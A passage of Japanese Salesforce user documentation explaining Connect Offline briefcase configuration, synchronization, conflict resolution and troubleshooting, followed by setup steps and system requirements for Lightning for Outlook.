手動で追加した取引先をブリーフケースから削除する手順は、次のとおりです。
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1. [個人設定] から、[クイック検索] ボックスにConnect Offlineと入力し、[Force.com Connect Offline] を選
択します。

2. [ブリーフケースの設定] をクリックします。
3. 削除する取引先の横にあるチェックボックスをオンにします。
4. [ブリーフケースから除く] をクリックします。
次回ブリーフケースを同期する時に、Salesforceは、取引先に加えて、その取引先に関連する取引先責任者、商
談、活動、および取引先と主従関係にあるカスタムオブジェクトレコードをブリーフケースから削除します。

デフォルトの Connect Offline ブリーフケースの中身とは?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザプロファイルに関連付けられているブリーフケース設定がない場合、デ
フォルトのブリーフケースには自動的に次のデータが含まれます。
• 非公開の取引先責任者を含む、すべての取引先責任者と関連する取引先また

は商談に対する参照アクセス権
• ブリーフケース内の取引先に関連するすべての取引先責任者 (取引先責任者

に対する「参照」以上のアクセス権がある場合)

• ブリーフケース内の取引先に関連する進行中の商談、または完了予定日が今
月、過去 2 か月、または 24 か月先までのすべての商談 (商談に対する「参照」
以上のアクセス権がある場合)。これには、自分が共有している商談、ロール
階層において自分より下位のユーザが所有している商談、または自分が所属
する商談チームの商談が含まれます。ダウンロードした商談に追加されてい
る商品とスケジュールも含まれます。

• 最大 5000 までの、すべてのリード
• ブリーフケースに含まれる取引先、取引先責任者、または商談と主従関係があるすべてのカスタムオブジェ

クトレコード
• 次のガイドラインに従った、自分の ToDo および行動、また、ブリーフケース内の取引先に関連する ToDo

および行動
– 日付が過去 2 か月、または 24 か月先までの行動
– 24 か月先までのすべての進行中 ToDo

– 期日が過去 2 か月、または 24 か月先までの完了した ToDo

– 当月または過去 2 か月以内に作成または変更された、期日が空白の ToDo

メモ: カスタムオブジェクトと関連付けられている ToDo および行動がオフラインで使用できない場合
は、その活動の [関連先] 項目にそのレコードが Connect Offline では使用できないことが示されていま
す。

ユーザプロファイルにブリーフケース設定が関連付けられていない場合、デフォルトのブリーフケースには、
自分が所有する商談に関連付けられたすべての取引先が含まれます。ただし、ブリーフケース内の取引先の選
択を変更して、代わりに次のオプションの 1 つを含めることができます。
• 手動で含めた取引先
• ブリーフケース内の活動に関連する取引先

1922

Connect Offline顧客への営業



• すべての取引先
取引先選択を編集するには、[ブリーフケースの設定] を編集します。

関連トピック:

Connect Offline のインストール
Connect Offline で使用可能なタブ
Connect Offline をトラブルシューティングする

Connect Offline ブリーフケース取引先選択の変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

管理者により自分のプロファイルにブリーフケース設定が割り当てられていな
い場合、ブリーフケースにはデフォルトのブリーフケースの中身が入っていま
す。この中には、自分が所有する商談に関連付けられた取引先、手動で指定し
た取引先、および自分の取引先責任者に関連する取引先が含まれています。
Connect Offline ブリーフケースの中の取引先の選択を変更する手順は、次のとお
りです。
1. [個人設定] から、[クイック検索] ボックスにConnect Offlineと入力し、

[Connect Offline] を選択します。
2. [ブリーフケースの設定] をクリックします。
3. ブリーフケース設定の横にある [編集] をクリックします。
4. 次のオプションの 1 つを選択し、ブリーフケースに含める取引先を指定しま

す。
• 手動で選択 — 取引先の詳細ページと自分の取引先責任者に関連する取引先の [オフラインで使用] ボタ

ンをクリックすると、最大 100 件の取引先を手動で指定できます。
• 商談ベースのブリーフケース — 自分が所有する商談に関連付けられている最大 5,000 件 (手動で指定す

る取引先と自分の取引先責任者に関連する取引先に加えて) の取引先を指定できます。次の制限事項が
適用されます。
– 取引先に対する「参照」以上の権限が必要です。
– これらの商談は、進行中か、または完了予定日が過去 2 か月または 24 か月先までの範囲内にあるこ

とが必要です。
商談ベースのブリーフケースは、デフォルトのブリーフケース設定です。

• 活動ベースのブリーフケース — ブリーフケース内の活動に関連する取引先を (手動で指定する取引先と
自分の取引先責任者に関連する取引先に加えて) 最大 5,000 件指定できます。

• すべての私の取引先 — 自分が所有する取引先または取引先チームで自分が所属する取引先を (手動で指
定する取引先と自分の取引先責任者に関連する取引先に加えて) 最大 5,000 件指定できます。

5. [保存] をクリックします。
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重要: 自分で自分のブリーフケース内の取引先の設定を変更した後で、管理者がブリーフケース設定をプ
ロファイルに割り当てると、次に Connect Offline を同期するときに、自分で行ったブリーフケース取引先
選択は割り当てられたブリーフケース設定によって上書きされます。

関連トピック:

Connect Offline へのログイン

ブリーフケースの同期

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

インターネットに接続してConnect Offlineを使用すると、ブリーフケースとSalesforce

を同期することができます。同期中、Connect Offlineは、Salesforceを更新して、オ
フライン時にブリーフケースのレコードに対して行った変更を反映させます。
Connect Offlineは、ブリーフケースのレコードも更新し、最後の同期以降のSalesforce

での変更を反映させます。このようにして、Salesforce と Connect Offline の両方が
最新のレコードが含まれるようになります。
ブリーフケースは、初めて Connect Offline にログインしたときに、自動的に同期
を取ります。インターネットに接続して Connect Offline を使用しているとき、ブ
ラウザウィンドウの右上角にある [ブリーフケースの同期] をクリックすると、
いつでもブリーフケースを同期することができます。
ユーザがオフラインで変更済みのレコードを別のユーザがオンラインで変更し
た場合、同期中にデータの競合が発生する場合があります。ブリーフケース内のレコードの更新内容が、
Salesforceでのレコードの更新内容と競合する場合、Connect Offlineには競合の解決ツールが表示され、そこで簡
単に競合を解決できます。その時点では競合を解決しない場合は、[キャンセル]をクリックして、競合の解決
ツールを終了します。Connect Offline [ホーム] タブの [エラー] セクションにあるリンクをクリックすると、後で
競合の解決ツールに戻ることができます。

ブリーフケースを空にする
ブラウザウィンドウの右上角にある [ブリーフケースを空にする] リンクから、Connect Offline を初期状態にリ
セットします。

警告: [ブリーフケースを空にする] リンクをクリックすると、Connect Offline はブリーフケースファイルと
設定をすべて削除します。コンピュータのタイムゾーンを変更する場合や管理者による要望がある場合
は、ブリーフケースを空にします。
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Connect Offline 競合の解決

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Connect Offline でレコード
を参照する
• 取引先や取引先責任

者、商談など、該当す
るレコードタイプに対
する「参照」

Connect Offline でレコード
を更新する
• 取引先や取引先責任

者、商談など、該当す
るレコードタイプに対
する「作成」、「編
集」または「削除」

Connect Offline で変更したレコードと同じレコードを Salesforce で変更すると、同
期するときにデータの競合が発生します。たとえば、Connect Offline で取引先責
任者の電話番号を変更し、同期する前に別のユーザが Salesforce でその取引先責
任者の住所を変更すると、競合が発生します。
競合が発生すると、最後の正しい値を特定することで競合を解決できる、競合
の解決ツールが Connect Offline に表示されます。ウィンドウの左側にはデータ競
合のあるレコードの一覧が表示され、ダイアログボックスの右側には、左側で
選択したレコードの競合データを含む項目が表示されます。
競合の解決ツールを使用する手順は、次のとおりです。
1. 左側のペインで、ドロップダウンリストを使用してレコードの表示方法をツ

リービューにするかリストビューにするかを選択し、解決するレコードを選
択します。

2. 右側のペインで、ドロップダウンリストを使用してレコードのすべての項目
を表示するか競合するデータを持つ項目のみを表示するかを選択し、正しい
値の横にあるラジオボタンを選択します。

3. 必要に応じて、鉛筆アイコン ( ) をクリックし、保存する値を手動で入力し
ます。

メモ: 商談の商品など、いくつかのオブジェクトの参照のみの項目の場
合は、鉛筆アイコンは表示されません。

4. 左側のペインにリストされている各レコードに対して、これらの手順を繰り
返します。競合を解決するために値を選択している場合は、左側のペイン
の、レコードの状況に緑のチェックが表示されます。

5. 競合のあるレコードをすべて選択し、[送信] をクリックします。
競合の解決ツールを使用する場合は、次のことに注意してください。
• 現時点ではデータの競合を解決しないように選択する場合は、[キャンセル] をクリックします。これで

Connect Offline の作業を続行できますが、データを同期するたびに競合の解決ツールが表示されます。
• Connect Offline では入力規則に違反する値を入力できますが、このような入力規則違反は、競合の解決ツー

ルにデータ競合として表示されます。
競合の解決ツールには、一度に 1 つの違反のみ表示されます。レコードが複数の入力規則に違反する場合
は、各違反を個別に解決して同期します。

• 商談の商品のような一部のオブジェクトの項目値は、競合の解決ツールでは参照のみですが、次の手順で
これらの値を変更できます。
1. 左ペインのツリービューに切り替えます。
2. すべて展開した後、一番下の分岐を選択します。
3. [自分の値] ラジオボタンをオンにしてConnect Offlineの値を保存するか、[Salesforce 値] ラジオボタ

ンをオンにしてサーバの値を保存します。参照のみの項目の値は、それに応じて変更されます。
4. [送信] をクリックします。
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オプションを選択せずに [送信]をクリックすると、Connect Offlineは、競合の解決で参照のみになってい
る値を保存します。

Connect Offline で使用可能なタブ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

タブと機能のサブセットは、Connect Offline で使用できます。
システム管理者が Salesforce の標準タブの名前を変更したり、ブリーフケース設
定にカスタムオブジェクトを追加したりすると、表示されるタブが異なる場合
があります。

[ホーム] タブ
• 複数個人の行動以外の行動および ToDo を参照、作成、変更、削除します。
• ブリーフケースの中身を更新または空にします。
• サイドバーで、同期、検索を行い、最近使ったデータを参照します。
• [ブリーフケース情報] を展開すると、Connect Offline にある各オブジェクトの

レコード数、および最後に同期して以降に更新したレコード数が表示されます。

メモ:  [ブリーフケース情報] にある、更新したレコードのリストには、削除したレコードは含まれませ
ん。また、検索結果には、取引先の [説明] などのロングテキストエリア項目は含まれません。

• カレンダーの下のアイコンをクリックして、異なる表示形式で活動を表示します。
• 競合の解決ツールを起動するには、サイドバーに「現在修正すべき競合があります。」というリンクが表

示されたときに、そのリンクをクリックします。

[取引先] タブ
• 取引先ホームページに最近使った取引先を表示します。
• オフラインの取引先を一覧表示する標準のリストビューを選択します。
• 取引先を表示、作成、変更、削除します。
• 個人取引先を表示、作成、変更、削除します。この機能は、Connect Offline バージョン 3.5.2.13 以降でのみ使

用できます。
• オフラインの取引先に関連付けられたカスタムオブジェクトを参照、作成、変更、削除します。
• 取引先責任者、商談、および活動をオフラインの取引先とリンクします。
• 組織のレコードタイプ、ダイナミックページレイアウト、項目レベルセキュリティ、および翻訳された値

(トランスレーションワークベンチで定義したもの) を使用します。
• 自分が「編集」アクセス権を持つデータを更新します。データの共有設定に応じて、参照のみ可能なデー

タがブリーフケースに保存されている場合があります。

[リレーショングループ] タブ
• さまざまなリレーショングループメンバーの家族性役割および職業的役割を記録追跡します。
• リレーショングループの上位 2 人のメンバーに 1 番目の指定および 2 番目の指定を割り当てます。
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• リレーショングループメンバーのすべての活動に関する [積み上げ] 関連リストを表示します。
• リレーショングループの取引先に関連するカスタムオブジェクトの [積み上げ] 関連リストを表示します。

メモ: この機能は、Connect Offlineバージョン 3.5.2.13 以降でのみ使用できます。リレーショングループ詳細
ページの関連リストは、Connect Offline では使用できません。

[取引先責任者] タブ
• 取引先責任者ホームページに最近使った取引先責任者を表示します。
• オフラインの取引先を一覧表示する標準のリストビューを選択します。
• 取引先責任者を表示、作成、変更、コピー、削除します。
• オフラインの取引先責任者に関連付けられたカスタムオブジェクトを参照、作成、変更、削除します。
• 活動をオフラインの取引先責任者とリンクします。
• 組織のレコードタイプ、ダイナミックページレイアウト、項目レベルセキュリティ、および翻訳された値

(トランスレーションワークベンチで定義したもの) を使用します。
• 自分が「編集」アクセス権を持つデータを更新します。データの共有設定に応じて、参照のみ可能なデー

タがブリーフケースに保存されている場合があります。

[商談] タブ
• 商談ホームページに最近使った商談を表示します。
• オフラインの商談を一覧表示する標準のリストビューを選択します。
• 商談を表示、作成、変更、コピー、または削除します。
• オフラインの商談に関連付けられたカスタムオブジェクトを参照、作成、変更、削除します。
• 活動および取引先責任者の役割をオフラインの商談に関連付けます。
• 取引先責任者の役割、商品やスケジュールを追加および更新し、商談の価格表を変更します。
• 組織のレコードタイプ、ダイナミックページレイアウト、項目レベルセキュリティ、および翻訳された値

(トランスレーションワークベンチで定義したもの) を使用します。
• 自分が「編集」アクセス権を持つデータを更新します。データの共有設定に応じて、参照のみ可能なデー

タがブリーフケースに保存されている場合があります。

[リード] タブ
• リードホームページに最近使ったリードを表示します。
• オフラインのリードを一覧表示する、標準のリストビューを選択します。
• 共有設定に従って、リードを参照、作成、変更、または削除します。

メモ: Connect Offline でのリードの変更によって割り当てルールが起動されることはありません。

• 活動をオフラインのリードとリンクします。
• レコードタイプ、ダイナミックページレイアウト、項目レベルセキュリティ、および翻訳された値 (トラン

スレーションワークベンチで定義したもの) を使用します。
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メモ: リードおよびカスタムオブジェクトレコードは、Connect Offline 2.0 以降でのみ利用できます。バー
ジョンは、アプリケーションの起動に使用するブリーフケースアイコン で示されます。

Connect Offline 使用時の注意
Connect Offline を使用するときは、次の点に留意してください。
• 複数個人の行動は、Connect Offline で表示することはできますが、作成や編集はできません。所有者ではな

く、行動に招集されているユーザは、オフラインで行動を変更または削除することはできません。
• 数式項目や自動採番項目など、自動生成される項目は、Connect Offline では利用できません。
• Connect Offline の関連リストに、参照項目は表示されません。

関連トピック:

デフォルトの Connect Offline ブリーフケースの中身とは?

Connect Offline へのログイン
Connect Offline をトラブルシューティングする

Connect Offline をトラブルシューティングする

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Connect Offline の問題をトラブルシューティングするには、次の一般的な状況と
ソリューションを参照してください。

活動
オフライン活動に関連のあるレコードを編集できない

Salesforce の ToDo または行動に関連するレコードは変更できますが、Connect

Offlineで活動の [関連先]項目を使用できるのは、関連するレコードがオフラ
インで使用できる場合のみです。たとえば、ブリーフケース内に存在しない
取引先に行動が関連付けられている場合、Connect Offline を使用してその行動
の取引先を変更することはできません。

[セルフサービスに公開] 項目がオフラインで利用できない
この項目は活動がケースと関連付けられているかどうかを示すものですが、Connect Offline ではケースが利
用できないため、Salesforce を使用してこの項目を活動ページレイアウトに表示できますが、Connect Offline

では表示されません。
Connect Offline でグループの行動を更新できない

複数個人の行動は、Connect Offline で表示することはできますが、作成や編集はできません。所有者ではな
く、行動に招集されているユーザは、オフラインで行動を変更または削除することはできません。

ブリーフケースの中身
私のブリーフケースで一部のレコードを編集できない

ブリーフケースの設定によってはレコードがブリーフケースの設定によりオフラインに含まれるレコード
と関連付けられているため、オフラインでのみ利用可能なレコードは参照のみとなります。たとえば、商
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談ベースのブリーフケースを選択した場合、一部の取引先は、商談に関連していなくても、ブリーフケー
ス内の取引先責任者に関連しているという理由で、オフラインで参照のみとなります。

ブリーフケースが制限を超えてしまう
ブリーフケース内の他のレコードとの関連付けによって格納された参照のみのレコードは、制限数に数え
られません。たとえば、格納できる取引先の最大数は 5000 件ですが、ブリーフケース内の他のレコードに
関連しているという理由で 200 件を格納している場合、そのブリーフケースは 5200 件を格納できます。

ブラウザ
Windows XP SP2 により、Connect Offline に警告バナーが表示される

警告バナーが表示されないようにするには、次のように Internet Explorer の設定を変更します。
1. Internet Explorer を起動します。
2. [ツール] メニューから [インターネットオプション] を選択します。
3. [詳細] タブを選択します。
4. [セキュリティ] セクションに移動します。
5. [マイコンピュータのファイルでのアクティブコンテンツの実行を許可する] を有効にします。
6. [適用] をクリックします。
7. [OK] をクリックします。

Firefox を使用した Connect Offline のダウンロードおよびインストールができない
Salesforce では数種類のブラウザをサポートしていますが、Connect Offline をダウンロードおよびインストー
ルする場合は、Internet Explorer を使用する必要があります。

「Connect Offline を更新することができません。」というエラーが表示されるSalesforce

このメッセージは、次のような状況で表示されることがあります。
• コンピュータが、認証が必要なプロキシサーバを使用してインターネットに接続するように設定されて

いる。この接続は、シングルサインオンなどの認証方法によって自動的に確立されるため、インター
ネットに接続するのにユーザ名やパスワードを入力する必要がありません。

• コンピュータがファイアウォールの後ろにある
• ウィルス対策ソフトウェアがコンピュータで活発に実行されている

競合の解決
競合を解決する項目を選択できない

商談の商品のような一部のオブジェクトの項目値は、競合の解決ツールでは参照のみですが、次の手順で
これらの値を変更できます。
1. 左ペインのツリービューに切り替えます。
2. すべて展開した後、一番下の分岐を選択します。
3. [自分の値] ラジオボタンをオンにしてConnect Offlineの値を保存するか、[Salesforce 値] ラジオボタ

ンをオンにしてサーバの値を保存します。参照のみの項目の値は、それに応じて変更されます。
4. [送信] をクリックします。
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オプションを選択せずに [送信]をクリックすると、Connect Offlineは、競合の解決で参照のみになってい
る値を保存します。

競合を解決すると新規レコードの作成または再試行を要求される
共有設定が変更された可能性があります。処理を実行できる場合は、[再試行] をクリックします。それ以
外の場合は、Connect Offline で新規レコードを作成します。

競合の解決ツールで連動選択リストの値を変更できない
連動選択リスト項目の競合を解決しているときは、競合している項目の選択リスト値は変更できません。
この種の競合を解決するには、適用する Salesforce 値か Connect Offline 値を選択します。

メモ: オフラインモードで、連動選択リストの制御項目が項目レベルセキュリティによって非表示に
なっている場合、連動選択リストの情報アイコンが表示ラベル名ではなく、制御項目の API 名を表示
します。

項目
Connect Offline 関連リストで参照項目を表示できない

Connect Offline の関連リストに、参照項目は表示されません。
Connect Offline でカスタム数式項目と自動採番を表示できない

数式項目や自動採番項目など、自動生成される項目は、Connect Offline では利用できません。
Connect Offline で自動採番項目が生成されない

自動採番項目を増やすレコードを Connect Offline で作成すると、Connect Offline の使用中に、この項目のラベ
ルが Connect Offline に表示されます。同期すると、Salesforce によって、この項目に後続の一意の番号が挿入
されます。

[ホーム] タブ
[ホーム] タブリスト内の、変更されたレコード件数が間違っている

サイドバーでは、削除されたレコードは、[ブリーフケース情報] の下にある、変更されたレコードのリス
トには含まれません。

インストール
何がインストールされますか?

Connect Offline では、SForceDB.exe がインストールされます。このプログラムはバックグラウンドで継続的に
稼働し、Connect Offline データベースをホストします。

Connect Offline をインストールできない
Connect Offline をインストールするには、コンピュータのレジストリを編集するコンポーネント Salesforce が
必要です。組織でレジストリの編集を禁止するセキュリティが使用されている場合は、コンポーネントを
インストールする前に管理者としてコンピュータにログインするか、会社の IT 部門にお問い合わせくださ
い。

Connect Offline を一括展開する方法はありますか?

はい。システム全体へリリースを実行できます。
私のユーザが所有している Connect Offline のバージョンを知る方法は?

各ユーザが所有する Connect Offline のバージョンは、[ログイン履歴] に一覧表示されます。
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リード
Connect Offline でリードを表示できない

リードは、Connect Offline 2.0 以降でのみ使用できます。Connect Offline 2.0 以降を使用している場合は、アイコ
ン を使用してアプリケーションを起動します。Connect Offlineをアップグレードする手順は、次のとおり
です。
1. Connect Offline でデータを同期させます。
2. 必要に応じて、Windows の [コントロールパネル] の [プログラムの追加と削除] を使用して、Connect Offline

の以前のインストール内容を削除できます。
3. 個人設定の Connect Offline ページに移動して、Connect Offline をインストールします。
4. Connect Offline でデータを同期させます。
リードを表示するのに適切なユーザ権限を所有していることを確認します。

リードの割り当てルールが機能していない
Connect Offline で作成されたリードが、リードの割り当てルールに基づいて自動的に割り当てられることは
ありません。再度 Salesforce に接続すると、レコードの所有権が一括変更され、割り当てられます。

マルチ通貨での表示額の差異
表示される商談金額に多少の差異が生じる

組織でマルチ通貨を有効にしている場合に商談金額として社内の通貨とは異なる通貨を使用すると、表示
される金額に多少の差異が生じることがあります。オフライン商談の詳細ページに表示される換算金額が、
Salesforce アプリケーションの同じページに表示される金額とわずかに異なる場合があります。実際に保存
されている値に問題はありません。

リレーショングループ
Connect Offline で [リレーショングループ] タブを表示できない

[リレーショングループ] タブは、Connect Offline と同期するリレーショングループ AppExchange パッケージが
Salesforce 組織にインストールされている場合にのみ使用可能です。

検索
検索結果に項目がない

検索結果には、取引先の [説明] のような長いテキストエリア項目は表示されません。

タイムアウト、タイムスタンプとタイムゾーン
Connect Offline で更新されたファイルのタイムスタンプが期待どおりに表示されない

Connect Offline で作成または更新するレコードの場合、[作成者] および [更新者] 項目には、ご使用の PC の
時間が同期した後でも反映されます。
Connect Offline で作成した活動は、入力した時間と PC のタイムゾーンを反映します。同期中に、Salesforce に
よって活動時間が Salesforce の個人情報で設定したタイムゾーンに変換されます。
コンピュータでタイムゾーンを変更する場合は、ブリーフケースを空にして同期し、Connect Offline にこの
変更が反映されるようにします。
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大きなデータセットの同期中に Connect Offline がタイムアウトする
HKEY_LOCAL_MACHINE\SOFTWARE\salesforce.com\Offline2 で HttpTimeout レジストリ設定を編集
します。デフォルト値は 360 秒です。

登録情報照会設定の編集
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

メモ: 登録情報照会は、Summer '17 以降すべての Salesforce 組織で廃止される
予定です。詳細は、「Stay-in-Touch Request Retirement」を参照してください。

取引先責任者情報の更新を要求するための設定を行う手順は、次のとおりです。

メモ: 組織で個人取引先を使用している場合には、個人取引先もこの設定
に影響されます。詳細は、「個人取引先とは?」 (ページ1373)を参照してくだ
さい。

1. 個人設定から、[クイック検索]ボックスに「登録情報照会」と入力し、[私の
登録情報照会設定] を選択します。

2. 送信済みの登録情報照会メールのコピーを受信する場合は、[自動 Bcc]に対して [はい] を選択します。こ
のオプションは、組織でコンプライアンス BCC メールを有効にしていない場合にのみ選択できます。

3. 新規取引先責任者を保存するときに、登録情報照会メールの送信を指示するメッセージを表示させたい場
合、アラームを有効にします。

4. メールのデフォルトの件名を入力します。
5. メモ欄に、受信者へのメッセージを入力します。
6. 署名欄に、取引先責任者情報に添える署名を入力します。
7. ページ最上部の差し込み項目欄を使用して、利用可能な差し込み項目値を表示します。必要に応じて、こ

れらの値をコピーして、件名、メモ、または署名ボックスに貼り付けることができます。
8. [保存] をクリックします。

Microsoft® メールアプリケーション内での Salesforce の操作

重要な Microsoft メールを取引先責任者、リード、および商談などの Salesforceレコードに関連付けます。次に、
Microsoft メールアプリケーションから、関連付けられた Salesforce コンテンツを直接確認します。
Salesforce システム管理者と協力して、クラウドベースの Microsoft インテグレーション製品とデスクトップベー
スの Microsoft インテグレーション製品のいずれかを選択します。

クラウドベースの Lightning for Outlook

Microsoft® Outlook®で作業するときに、重要な商談の状況を常に把握できます。Microsoft Office 365™環境の Outlook

Web App (OWA)、Outlook 2016、Outlook for Mac 2016、Outlook 2013 を使用するときに、販売をより効率的に管理
できます。メールやイベントを添付ファイルと共に Salesforce レコードに関連付けられます。ソフトウェア
のインストールや保守は必要ありません。また、Lightning Sync を使用して、メールアプリケーションと
Salesforce の間で取引責任者や行動を同期できます。
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デスクトップベースの Salesforce for Outlook

デスクトップベースバージョンの Outlook と Salesforce間の取引先責任者、行動、ToDo を同期します。Outlook

でメールを選択し、リード、取引先責任者、商談などの関連する Salesforce レコードを表示します。また、
そのメールを任意の Salesforce レコードに関連付けます。
私の未解決の項目
Salesforce for Outlook、Lightning Sync、またはメール to Salesforce を使用して項目を同期したり、メールアプリ
ケーションから Salesforce にメールを追加したりすると、これらの機能が自動的には Salesforce レコードに割
り当てることができないすべての項目が [私の未解決の項目] に表示されます。
Connect for Outlook: (終了)

すでに終了となった Connect for Outlook 製品に目を向けるのではなく、クラウドまたはデスクトップベース
の Microsoft インテグレーション製品である Lightning for Outlook または Salesforce for Outlook を検討することを強
くお勧めします。

クラウドベースの Lightning for Outlook

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Microsoft® Outlook® で作業するときに、重要な商談の状況を常に把握できます。
Microsoft Office 365™環境の Outlook Web App (OWA)、Outlook 2016、Outlook for Mac 2016、
Outlook 2013 を使用するときに、販売をより効率的に管理できます。メールやイ
ベントを添付ファイルと共にSalesforceレコードに関連付けられます。ソフトウェ
アのインストールや保守は必要ありません。また、Lightning Sync を使用して、
メールアプリケーションと Salesforce の間で取引責任者や行動を同期できます。
また、Outlook 内で直接Salesforce取引先責任者、行動、リード、商談、ToDo、ケー
スを作成できます。

Lightning for Outlook

Outlook で作業するときに、重要な商談の状況を常に把握できます。Microsoft

Office 365™ 環境の Outlook® Web App (OWA)、Outlook 2016、Outlook for Mac 2016、
Outlook 2013 を使用するときに、販売をより効率的に管理できます。メールや
添付ファイルを Salesforce レコードに関連付けたり、Salesforce レコードを Outlook で直接作成したりできま
す。
Lightning Sync: Microsoft® 項目と Salesforce の同期の維持
ソフトウェアのインストールや保守なしで、メールシステムと Salesforce 間の取引先責任者および行動の同
期を維持できます。
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Lightning for Outlook

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Outlook で作業するときに、重要な商談の状況を常に把握できます。Microsoft Office

365™ 環境の Outlook® Web App (OWA)、Outlook 2016、Outlook for Mac 2016、Outlook 2013

を使用するときに、販売をより効率的に管理できます。メールや添付ファイル
を Salesforce レコードに関連付けたり、Salesforce レコードを Outlook で直接作成し
たりできます。
システム管理者が Lightning for Outlook を有効にした後、1 回限りの手順を実行し
て、Salesforceコンテンツがメールアプリケーションに表示されるようにします。
次に、メールを選択し (1)、Salesforce を選択すると (2)、関連する営業関連レ
コードが表示されます (3)。表示されたレコードについて、メールを複数の取引
先責任者に関連付けることができます (システム管理者によって Shared Activities

が有効になっている場合)。また、ToDo を受け入れる他の 1 つのレコード (商談、
リード、ケースなど) にメールを追加することもできます。添付ファイルを含め
るかどうかを選択します。

Outlook から直接 Salesforce レコードを作成します (4)。メールアプリケーションでレコードを選択して詳細を表
示したり、インライン編集機能を使用してメールアプリケーションでレコードを変更したり、レコードまたは
レコードに関連するメールに関する詳細を Salesforce で直接取得したりできます (5)。
Lightning for Outlookでは、メールを関連付ける方法と同じように次の行動をSalesforceレコードに関連付けること
ができます。
• 参加する行動
• 主催する行動 (Windows 用の Outlook 2016 または Office 365 の Outlook Web App で作業している場合)

行動を関連付けるには、Microsoft メールアプリケーションで行動を選択します。次に、Salesforce を選択します
(1)。
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関連する Salesforce レコードが表示されます (2)。メールを操作するときのように、メールアプリケーションで
レコードを選択して詳細を表示したり、レコードに関する詳細を Salesforce で直接取得したりできます (3)。

Lightning for Outlook のシステム要件
Lightning for Outlook を設定する前に、システムが次の要件を満たしていることを確認します。
Salesforce を使用するための Microsoft® Outlook® の設定
システムを設定して、Outlook Web App (OWA)、Outlook 2016、Outlook for Mac 2016、または Outlook 2013 からメー
ル、添付ファイル、イベントを Salesforce レコードに関連付けるようにします。Outlook で作業している間の
Salesforce レコードを作成します。
Microsoft® Outlook® 内での Salesforce の操作
Office 365™ 環境の Microsoft Outlook Web App (OWA)、Outlook 2016、Outlook for Mac 2016、Outlook 2013 で営業関連レ
コードにアクセスし、商談を順調に進めることができます。

関連トピック:

Lightning for Outlook のシステム要件
Microsoft® Outlook® 内での Salesforce の操作
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Lightning for Outlook のシステム要件

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning for Outlook を設定する前に、システムが次の要件を満たしていることを
確認します。

要件対象

次のいずれかが必要です。メールサーバ
• オンプレミスの Exchange 2016 または 2013

• Office 365 と連携する Exchange Online

次のいずれかが必要です。メールアプリ
ケーション • Outlook Web App

• Windows PC の Microsoft Outlook® 2016 または 2013

• Microsoft Outlook for Mac 2016

Windows または Mac オペレーティングシステムで Salesforce から
の Cookie を許可する次のいずれかのブラウザ

ブラウザ

• Google Chrome™ の最新の安定バージョン
• Mozilla® Firefox® の最新の安定バージョン
• Apple® Safari® の最新の安定バージョン
• Microsoft Internet Explorer® 11 (Windows のみ)

• Microsoft Edge の最新の安定バージョン (Windows のみ)

TLS 1.1 以降メールサーバ
のセキュリ
ティ暗号化プ
ロトコル
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Salesforce を使用するための Microsoft® Outlook® の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning for Outlook を設定
する
• 「Lightning for

Outlook」

Microsoft Exchange と
Salesforce の間の接続を認
証する
• 「設定・定義を参照す

る」

システムを設定して、Outlook Web App (OWA)、Outlook 2016、Outlook for Mac 2016、
または Outlook 2013 からメール、添付ファイル、イベントを Salesforce レコードに
関連付けるようにします。Outlook で作業している間の Salesforce レコードを作成
します。

1. Lightning for Outlook へのアクセス権の取得
Microsoft® Outlook® Web App (OWA)、Outlook 2016、Outlook for Mac 2016、Outlook 2013

から、営業関連のSalesforceコンテンツに直接アクセスできるようにする初期
手順を実行します。

2. Salesforce へのアクセス権を Microsoft® Outlook® に付与
システムを設定して、Salesforce の取引先責任者を作成したり、取引先責任
者、リード、ユーザを表示したりできるようにします。さらに、Outlook Web

App (OWA)、Outlook 2016、Outlook for Mac 2016、Outlook 2013 で、関連する取引
先、商談、ケースを直接表示できるようにします。
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Lightning for Outlook へのアクセス権の取得

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning for Outlook を設定
する
• 「Lightning for

Outlook」

Microsoft® Outlook® Web App (OWA)、Outlook 2016、Outlook for Mac 2016、Outlook 2013 か
ら、営業関連の Salesforce コンテンツに直接アクセスできるようにする初期手順
を実行します。
1. Outlook Web App (OWA)、Outlook 2016、または Outlook 2013 で [設定] を開き、[ア

プリケーションを管理する] を選択します。そこから、[Salesforce] を選択し
ます。

2. アプリケーションを使用できない場合は、Office Store から追加します。
3. Lightning for Outlook が表示されたら、有効にします。

Salesforce へのアクセス権を Microsoft® Outlook® に付与

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
